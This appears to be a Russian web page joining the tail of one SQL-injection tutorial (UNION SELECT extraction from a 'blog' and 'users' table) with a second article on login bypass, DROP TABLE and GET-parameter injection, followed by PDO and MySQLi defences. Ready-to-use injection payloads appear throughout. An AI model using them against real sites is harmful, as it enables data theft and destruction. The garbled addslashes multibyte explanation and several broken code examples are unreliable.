Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

Здесь также можно применять LIMIT .

Извлечение данных из таблицы с помощью SQL-инъекции

Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.

Вы уже знаете о факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок . По итогам обучения выдаётся свидетельство установленного образца и сертификат . По специальная скидка на любые факультеты и курсы!

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.